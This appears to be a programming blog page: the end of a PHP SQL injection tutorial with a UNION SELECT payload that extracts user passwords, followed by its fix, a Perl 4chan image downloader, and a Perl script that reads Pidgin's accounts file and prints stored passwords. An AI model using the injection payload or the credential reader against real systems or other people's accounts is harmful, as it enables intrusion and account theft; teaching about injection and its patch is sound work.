This scenario is largely the same as the one above, yet one line has changed in the script:
13 14 | $id = mysql_real_escape_string($id); # Escape special characters such as ' $result = mysql_query("SELECT * FROM news WHERE id=$id") or die(mysql_error()); # No more quotes around $id |
MySQL allows $id to be unquoted, only if it’s a digit. If it was a string, like in login.php, it would have to be quoted, because MySQL would render it as a column name otherwise. The use of mysql_real_escape_string makes sure that our malicious quotes are useless, since they will be seen as strings (\’), so they can’t close the WHERE clause anymore.
Exploiting the vulnerability
You may think this would prevent an attack, but consider this:
“SELECT text FROM news WHERE id=-1 UNION SELECT 1,password FROM users“
Since there are no quotes wrapped around $id, MySQL thinks the WHERE id= clause has finished after the space following -1, thus leaving a vulnerability. Not at all safe!
Patching
As we’ve seen above, you need a) quotes to make sure everything the user types will be handled as a string in the clause and b) a way to escape quotes. The solution is a combination of what we have seen above:
13 14 15 | $id = mysql_real_escape_string($id); # Escape special characters such as ' # Again, this makes the use of quotes not a problem :) $result = mysql_query("SELECT * FROM news WHERE id='$id'") or die(mysql_error()); # Keep the quotes |
The patch for login.php would be almost identical:
15 16 17 | $username = mysql_real_escape_string($username); $password = mysql_real_escape_string($password); $result = mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password'") or die(mysql_error()); |
That was it. I hope you’ve enjoyed the tutorial.
If you have any remarks on this tutorial, please leave a comment.
4chan image/thread downloader (Perl)
I wrote this script to download all images from a specified thread on an image board called 4chan. It stays running until 404 or canceled and re-checks every 30 seconds to see if there are any new uploads. Folder for the images will be created in the same directory as the script. Works for both, Windows and Linux.
4chan-thread-dl.pl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | #!/usr/bin/perl # 4chan-thread-dl.pl # Mon Oct 04 16:14:56 2010 # jolttz{at}gmail{dot}com # Distributed under the terms of # the GNU General Public License # use strict; use warnings; use LWP::Simple qw($ua get getstore); # We want to see the progress of downloads $ua->show_progress(1); my $url = $ARGV[0]; my $run = 1; # Run while canceled run() while 1; sub get_content { my ($url, $thread) = @_; # Get content and... my $content = get($url); die "404: Not found!" unless defined $content; # ...print to a file open (CONT, ">$thread\/$thread.html"); print CONT $content; close (CONT); return $content; } sub run { if ($url =~ /http:\/\/boards.4chan.org\/[A-Z]{1,4}\/res\/(\d+)/i) { $run++; my $thread = $1; # Make a directory for the images mkdir $thread, 0755; print "Downloading content:\n"; my $content = get_content($url, $thread); # Split content to lines because we want to go # through each line and see if there's an image we want my @content_lines = split /\n/, $content; print "\nDownload location: ". $thread. "\n"; # Go through each line foreach (@content_lines) { # If we see an image if (/"(http:\/\/images.4chan.org\/[A-Z]{1,4}\/src\/(\d+\.(jpg|png|gif)))"/i) { # Store the image unless it already exists getstore($1, "$thread\/$2") unless -e "$thread\/$2"; } } print "Sleeping for 30 seconds before run #". $run. "\n"; sleep(30); print "\n"; } else { print "Usage: perl 4chan-thread-dl.pl\n"; exit(0); } } |
Usage:
$ perl 4chan-thread-dl.pl
Pidgin password recovery for Linux and Windows (Perl)
Forgot your Pidgin passwords? I wrote a script that can help you out.
It has been tested on both, Windows XP and Linux. If I remember correctly, Application Data folder was in a different directory in Windows 7 so I’m not sure if it’ll work on it. For Windows you need to install ActivePerl or StrawberryPerl. Every Linux should have Perl already installed.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | #!/usr/bin/perl # pidgin-recovery.pl # Sat Oct 02 21:28:17 2010 # Copyright 2010 jolttz # jolttz{ät}gmail{dot}com # use strict; use warnings; my $home = $ENV{HOME}; # Home dir for Linux if ($^O =~ /mswin/i) { # If OS is Windows # Get home dir for Win and add App Data folder to it $home = $ENV{USERPROFILE}. "/Application Data"; } # Open the file that contains accounts info open (FILE, "$home/.purple/accounts.xml") || die ("Could not open file!"); # Go through each line and print the info we are looking for foreach my $line (<FILE>) { if ($line =~ /<protocol>(.+)<\/protocol>/) { print "--------------------------\n"; print "Protocol: ". $1. "\n"; } elsif ($line =~ /<name>(.+)<\/name>/) { print "Name: ". $1. "\n"; } elsif ($line =~ /<password>(.+)<\/password>/) { print "Password: ". $1. "\n"; } } |
